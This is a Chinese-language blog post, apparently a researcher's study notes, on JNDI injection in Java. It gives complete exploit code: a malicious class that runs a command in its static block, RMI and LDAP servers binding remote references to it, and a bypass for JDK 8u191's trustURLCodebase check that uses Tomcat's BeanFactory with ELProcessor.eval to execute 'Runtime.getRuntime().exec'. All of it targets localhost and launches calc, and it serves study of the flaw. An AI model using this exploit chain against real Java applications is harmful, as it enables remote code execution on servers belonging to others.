本文最后更新于:18 天前
rmi
8u121
本地的7000端口开放一个Test.class,其静态代码或者构造方法内写入恶意代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.IOException;
public class Test { public Test() { }
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
|
JNDIServer,factory参数需要和恶意类名相同:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.jndi;
import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIServer { public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:7000/"); initialContext.rebind("rmi://127.0.0.1:1099/reference", reference); } }
|
JNDIClient
1 2 3 4 5 6 7 8 9 10
| package com.jndi;
import javax.naming.InitialContext;
public class JNDIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/reference"); } }
|
ldap
8u191
首先开启一个ldap服务器:
然后将引用绑定到ldap服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.jndi;
import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIServer { public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:7000/"); initialContext.rebind("ldap://127.0.0.1:10389/cn=qw,dc=example,dc=com", reference); } }
|
客户端:
1 2 3 4 5 6 7 8 9 10
| package com.jndi;
import javax.naming.InitialContext;
public class JNDIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com"); } }
|
8u191更新了几处地方:
NamingManager下的本地AppClassLoader处引入了无初始化的逻辑
走进下面的loadClass()逻辑,发现加入了trustURLCodebase的逻辑,至此jndi低版本被暂时堵上了
jdk高版本绕过
上面追踪到了漏洞点,在高版本加入了trustURLCodebase判断来限制jndi的远程注入,因此思路就转移到了能否找到一个本地的类,通过引用去查询这个本地factory的时候,会走到getObjectFactoryFromReference()方法,能在本地找到这个类进行类加载就不需要去远程调用了
在拿到factory之后会调用它的getObjectInstance()方法,如果这个factory的getObjectInstance()方法中存在漏洞代码,就可能会导致rce
这里的factory是ObjectFactory类型的
这玩意是一个接口,因此我们需要找到factory需要实现ObjectFactory接口
在tomcat-embed-core包内,存在一个BeanFactory,他的getObjectInstance()方法存在反射调用
向上跟踪bean为ref对象中的classname字段的进行类加载后实例化的对象
method是从forced这张哈希表中获取键名为propName的键值,propName是通过ref来获取所有的addrs的值
在Reference类中,存在一个add()方法,传入参数类型为抽象类RefAddr,
addrs中追加addr
所以说propName理论上也是可控的,因此ra可控,导致value可控
抽象类本身不能被实例化,寻找RefAddr的实现类,若后续传入invoke的参数是字符串类型的
则可以通过add一个StringRefAddr的addr
从ref中获取addrs中键名为forceString的键值对
forceString键值如果是a=b格式的,则会将setterName设置为b,param设置为a并put到forced哈希表中
后续到forced的构建,method的获取都是可控的,
因此可以add一个new StringRefAddr("forceString","a=b")
这种格式的
再回到反射调用这里
method是从forced中获取propName的键值,假设我们的恶意ref是a=eval,那么,forced中的method是eval
这里想method为eval,就得向ref中add一个键名为”a”的addr,
这个过程中反射调用的参数valueArray(由value控制)为ra(键名为”a”的键值对)的键值
因此还需要add一个new StringRefAddr("a","参数")
这种格式的
因此需要找一个Bean类,存在一个恶意方法,可以传入一个字符串类型的参数
比较熟悉EL表达式漏洞的话就会知道这里可能利用到ELProcessor中的eval方法
需要引入pom
1 2 3 4 5
| <dependency> <groupId>org.glassfish</groupId> <artifactId>javax.el</artifactId> <version>3.0.1-b06</version> </dependency>
|
当传入
1 2
| ELProcessor elProcessor = new ELProcessor(); elProcessor.eval("Runtime.getRuntime().exec('calc')");
|
即可执行代码(详细过程这里不展开,有兴趣的可以自己debug一下,实际上就是以点隔开每一部分,从上到下为parent到children,然后parent依次去调用紧邻的child,最上级parent通过类加载获取到对象)
Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.jndi;
import org.apache.naming.ResourceRef; import org.apache.naming.factory.BeanFactory;
import javax.naming.CompositeName; import javax.naming.InitialContext; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.naming.spi.DirectoryManager; import javax.naming.spi.ObjectFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Hashtable;
public class JNDIServer { public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true, "org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://127.0.0.1:1099/refObj", resourceRef); } }
|
Client:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.jndi;
import org.omg.PortableInterceptor.ObjectReferenceFactory;
import javax.naming.InitialContext; import javax.naming.spi.ObjectFactory;
public class JNDIClient { public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/refObj");
} }
|